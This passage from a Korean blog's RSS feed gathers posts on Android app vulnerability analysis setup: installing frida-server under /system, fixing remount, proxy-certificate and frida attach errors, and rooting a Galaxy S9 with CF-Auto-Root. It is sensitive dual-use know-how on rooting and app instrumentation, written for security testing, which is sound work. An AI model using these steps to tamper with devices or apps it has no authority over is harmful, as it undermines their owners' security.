&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;143&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kTex0/btsCG4SRcqX/8oZENBJr5QgLkKn8XUFB10/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kTex0/btsCG4SRcqX/8oZENBJr5QgLkKn8XUFB10/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kTex0/btsCG4SRcqX/8oZENBJr5QgLkKn8XUFB10/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkTex0%2FbtsCG4SRcqX%2F8oZENBJr5QgLkKn8XUFB10%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;143&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;143&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이어서 파일 마운트와 권한설정후 /system 폴더로 옮겨준다.&lt;/p&gt;
&lt;pre id=&quot;code_1703750530495&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod 755 frida-server-12.11.10-android-arm64
mount -o rw,remount /
mount -o ro,remount /&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  /system 폴더로 옮겨주는 이유&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frida-server을 옮겨 주지 않으면 frida를 실행할때 다음과 같은 오류가 발생할 수 있으며&lt;/p&gt;
&lt;pre class=&quot;applescript&quot;&gt;&lt;code&gt;unable to access zygote64 while preparing for app launch; try disabling Magisk Hide in case it is active
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 오류는 다음과 같이 해결할 수 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;magisk에서 hide 옵션 해제&lt;/li&gt;
&lt;li&gt;프리다 서버를 system 디렉터리에서 실행&lt;/li&gt;
&lt;li&gt;디바이스를 다시 시작합니다.&lt;/li&gt;
&lt;li&gt;(adb shell &quot;su -c magiskhide disable&amp;rdquo;)&amp;nbsp;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 frida 서버를 실행한뒤 frida-ps 로 잘 실행되어있는지 확인한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO5Ace/btsCIENb4Cs/l62cR71ZBlAsoePBOViunK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO5Ace/btsCIENb4Cs/l62cR71ZBlAsoePBOViunK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO5Ace/btsCIENb4Cs/l62cR71ZBlAsoePBOViunK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO5Ace%2FbtsCIENb4Cs%2Fl62cR71ZBlAsoePBOViunK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;544&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오류가 발생하지 않을때는 다음과 같이 진행된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;460&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/plRoA/btsCJjPOnK1/kdvjE2DVMuq7X1mXX5k7bK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/plRoA/btsCJjPOnK1/kdvjE2DVMuq7X1mXX5k7bK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/plRoA/btsCJjPOnK1/kdvjE2DVMuq7X1mXX5k7bK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FplRoA%2FbtsCJjPOnK1%2FkdvjE2DVMuq7X1mXX5k7bK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;460&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;460&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;986&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eiyXR3/btsCQp14wBq/B9Rj7iuTUiTHeyKfQlfGLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eiyXR3/btsCQp14wBq/B9Rj7iuTUiTHeyKfQlfGLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eiyXR3/btsCQp14wBq/B9Rj7iuTUiTHeyKfQlfGLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeiyXR3%2FbtsCQp14wBq%2FB9Rj7iuTUiTHeyKfQlfGLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;986&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;986&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/200</guid>
      <comments>https://wpgur.tistory.com/200#entry200comment</comments>
      <pubDate>Thu, 28 Dec 2023 17:08:27 +0900</pubDate>
    </item>
    <item>
      <title>안드로이드 취약점 분석 오류 모음</title>
      <link>https://wpgur.tistory.com/199</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;Read-only file system 이슈&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;frida-server 파일을 adb 내부에서 옮겨야할때 옮길수없다는 mount 오류가 발생할수 있는데 이때는 다음과 같은 명령어로 상위 디렉토리인 /에 rw 권한을 부여해준다. 오류가 발생할시 /system으로 좀더 정확하게 하는것도 방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mount -o rw,remount /&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 파일을 옯겼으면 다시 ro로 변경해주자.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;mount -o ro,remount /&lt;/blockquote&gt;
&lt;h2 style=&quot;color: #000000;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mount -o rw,remount / 로 해결이 되지 않는다면?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고보니 안드로이드 에뮬레이터는 read-only로 실행되고 있었고 이를 해결하기 위해 다음과 같이 진행 했다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;애뮬레이터가 설치된 경로로 들어간다 ex) ~/Library/Android/sdk/emulator&lt;/li&gt;
&lt;li&gt;-writable-system 의 설정을 주고 에뮬레이터를 직접 실행한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;애뮬레이터 경로에서 cmd를 실행한뒤 다음명령어를 통해 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;emulator @Pixel_6_Pro_API_33 -writable-system&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;이후 다른곳에서 나왔던 것처럼 루트 권한을 주고 remount를 해준뒤 꼭&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;remount를 해줘야한다&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background-color: #f8f8f8; color: #383a42;&quot;&gt;&lt;code&gt;adb root
adb disable-verity
adb reboot
adb remount
adb shell
mount -o rw,remount /system
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;인증서&amp;amp; 프록시 이슈&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;피들러와 버프스위트의 인증서는 다르며 각 인증서마다 해쉬값이 정해져있다.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;피들러 : 269953fb.0&lt;/li&gt;
&lt;li&gt;버프 스위트 : 9a5ba575.0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;크롬 브라우저는 추가 인증서 문제로 프록시가 잘 적용되지 않을 수 있다 따라서 삼성 브라우저같은 다른 브라우저로 확인을 해본다.&lt;/li&gt;
&lt;li&gt;안드로이드 인증서를 확인할때 피들러와 버프 스위트는 서로 시스템 인증서 이름이 다르다.&lt;/li&gt;
&lt;li&gt;로컬에 인터넷이 연결되어있다면 핫스팟으로 연결이 가능한데 이때 대부분 프록시 설정 ip의 끝부분이 1 또는 2이다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와이파이는 같은 와이파이를 사용해야하며 로컬 ip의 주소로 설정해준다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;frida-server 이슈&lt;/h2&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;frida의 버전이 16.2 보다 높으면 frda-ps -U가 안되기에 그보다 낮은 버전을 install해줘야한다.&lt;br /&gt;- pip install frida==15.x.x&lt;br /&gt;- ps상태가 do_wait 으로 계속된다.&lt;/li&gt;
&lt;li&gt;swap이슈로 timeout 오류가 발생하는데 frida-server가 잘 실행되고 있는지 확인하자&lt;b&gt;&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;a href=&quot;https://stackoverflow.com/questions/71687188/unable-to-connect-to-the-frida-server-need-gadget-to-attach-on-jailed-android&quot;&gt;Unable to connect to the frida server: need Gadget to attach on jailed Android&lt;/a&gt; 에러&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Android 10 이상부터 존재하는 USAP 기능(빠른 앱 실행 기능)을 비활성화 하면 해결된다. adb shell안에서 작동 시키자 &lt;br /&gt;&lt;br /&gt;a50:/ #&lt;b&gt;&amp;nbsp; setprop persist.device_config.runtime_native.usap_pool_enabled false &lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;➕ frida -U -f [페키지 이름] 으로 프리다가 잘 붙는지 확인을 먼저해보면서 오류를 해결하자.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Android emulater(intel) 앱설치 이슈&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  adb install 이슈가 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;알고보니까 어찌어찌 설치하더라도 앱마다 실행 가능한 아키텍처를 확인해야하는 것을 알게 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용하는 기기의 아키텍처는 다음 명령어로 확인 할수 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-이는 frida server를 설치할때도 유용하다.&lt;/p&gt;
&lt;pre class=&quot;css&quot;&gt;&lt;code&gt;&amp;gt;adb shell&amp;gt;getprop ro.product.cpu.abi fh
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;intel은 대부분 86x를 지원하는데 사용하려했던 앱는 arm만 지원하는것을 &lt;b&gt;apk lib&lt;/b&gt;에서 확인 할 수 있었다.(Mac 은 arm임)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;642&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qNLO7/btsCDgzjsfl/nePAncrqje8CkRuADaAgVk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qNLO7/btsCDgzjsfl/nePAncrqje8CkRuADaAgVk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qNLO7/btsCDgzjsfl/nePAncrqje8CkRuADaAgVk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqNLO7%2FbtsCDgzjsfl%2FnePAncrqje8CkRuADaAgVk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;642&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;642&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;frida를 못 잡는 이슈&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;  frida python time에러및 제대로 swan이 되지 않을때 직접 js파일로 만들어서 이를 불러서 실행하는 방법을 사용했더니 해결이 되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;패키지명으로 실행&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;frida-ps -U 를 통해서 패키지의 이름을 파악한다.&lt;br /&gt;(이때 frida-ps -U 이 명령어는 frida-server가 실행되고 있어야 한다.)&lt;/li&gt;
&lt;li&gt;frida -U -l &quot;keyhook.js&quot; 궁수의전설 처럼 frida -U -I [파일 경로] [패키지] 를 해준다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;pid 지정 실행&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 한글이 있어 가끔 잘 swan이 붙지 않을때는 pid 를 정해주는 방법도 있다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;frida -U -l &quot;keyhook.js&quot; -p 7450&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;➕ 이때 frida-ps -U를 해줬을때 목록에 뜨지 않는다면 아무리 시도해도 되지 않는다&amp;hellip;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;keyhook.js는 본인이 직접 작성한 js 파일이다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;앱이 강제 종료되는 이슈&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;➕ 가끔 앱에서 충돌이 있어서 예상치 않게 종료되었다면서 막 종료 버튼이 뜨는 경우가 있었다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이럴때마다 디바이스를 다시 재부팅 해주면서 귀찮게 다시 frida server 세팅해주는 경우가 많았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;이럴때는 인내심을 가지고 종료 경고창이 계속 뜰때 홈버튼을 사용해서 alert가 안뜨게 만들어 주고&lt;/li&gt;
&lt;li&gt;인터넷도 들어가보고 세팅도 한번 들어가주고 약간의 인내를 가지고 이것저것 해준다. (약 2분..? 길면 5분..?)&lt;/li&gt;
&lt;li&gt;정신을 차리고 다시 돌아오는 앱을 사용한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음을 참고해도 좋다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://nhj12311.tistory.com/543&quot;&gt;안드로이드 앱 튕김, 충돌 문제 해결 방법&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앱의 데이터를 다 지우니까 좀 나아진것같았다&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 예전처럼 나아지지는 않는다&amp;hellip;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해결&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;adb에서 다음과 같은 명령어를 입력한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;setprop persist.device_config.runtime_native.usap_pool_enabled false&lt;/blockquote&gt;</description>
      <category>Android</category>
      <author>우제혁</author>
      <guid isPermaLink="true">https://wpgur.tistory.com/199</guid>
      <comments>https://wpgur.tistory.com/199#entry199comment</comments>
      <pubDate>Thu, 28 Dec 2023 16:59:39 +0900</pubDate>
    </item>
    <item>
      <title>안드로이드 루팅 - CF-Auto-Root, twrp</title>
      <link>https://wpgur.tistory.com/198</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;개요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저 안드로이드앱 분석을 위해 루팅을 해줘야하는데 그 이유는 앱에서 root 권한으로 사용하기 위함이다. 이를 통해 frida를 사용해서 내부 함수를 조작해볼수도 있고 앱으로 시스템 권한을 얻어서 조작할 가능성을 확인해야하기 때문에 취약점 분석에 있어 루팅된 기계를 사용하거나 가상머신(NOX)등을 사용하기도 한다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;루팅 방법&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 앱을 통한 루팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 컴퓨터 소프트웨어(ordin, twrp)을 이용하는 방법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;경험상 앱을 통한 루팅을 samsung S9 기준으로 잘 이뤄지지않았다 따라서 확실한 방법인 컴퓨터로 루팅하는 방법을 추천한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;CF-Auto-Root&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Noto Serif KR'; color: #333333; text-align: start;&quot;&gt;* 참고 사이트&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://su0-0su.tistory.com/102&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://su0-0su.tistory.com/102&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 모델번호 확인 &lt;span style=&quot;font-family: 'Noto Serif KR'; color: #006dd7; text-align: start;&quot;&gt;[환경설정]-[휴대전화 정보] &lt;/span&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;에서 모델 번호를 알아 놓는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;S9 기준으로는 SMG930K 이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;2. 환경설정에서 빌드 번호를 검색해서 7~8번정도 계속눌러주면 개발자 모드가 켜지며 옵션에 개발자 옵션이 생성된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;3. 개발자 모드에 들어가 OEM 잠금해제와 USB 디버깅을 킨다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;루팅을 하기위해서는 개발자 모드로 들어가서 oem 버튼을 활성화 시켜야 하는데 oem 버튼이 없는 경우가 있다.&lt;br /&gt;&lt;br /&gt;=&amp;gt; 와이파이를 연결하고 날짜를 최신으로 설정해주는것으로 옵션이 생기는것을 확인 할 수 있다.&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;이것은 스마트폰을 초기화해야한다.&lt;br /&gt;&lt;br /&gt;*참고 사이트 : https://www.xda-developers.com/fix-missing-oem-unlock-samsung-galaxy-s9-samsung-galaxy-s8-samsung-galaxy-note-8/&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;4. 전원을 끈다음 전원을 키자마자 &lt;b&gt;볼륨 하키 + 전원 키 + 홈버튼 &lt;/b&gt;를 동시에 눌러준다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;5. 눌러주게 되면 리커버리 모드에 진입하게 되며 볼룸 상키를 누르고 &lt;span style=&quot;color: #666666; text-align: start;&quot;&gt;다운로드중입니다 상태의 화면을 유지한다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. 준비가 완료되면 아래 링크를 통해 알아놓은 모델 번호를 검색하여 CF-Auto-Root........tar.md5 파일과 ordin3 프로그램을 다운받아준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://autoroot.chainfire.eu/&quot;&gt;https://autoroot.chainfire.eu/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1703748288732&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;CF-Auto-Root&quot; data-og-description=&quot;&quot; data-og-host=&quot;autoroot.chainfire.eu&quot; data-og-source-url=&quot;https://autoroot.chainfire.eu/&quot; data-og-url=&quot;https://autoroot.chainfire.eu/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://autoroot.chainfire.eu/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://autoroot.chainfire.eu/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;CF-Auto-Root&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;autoroot.chainfire.eu&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
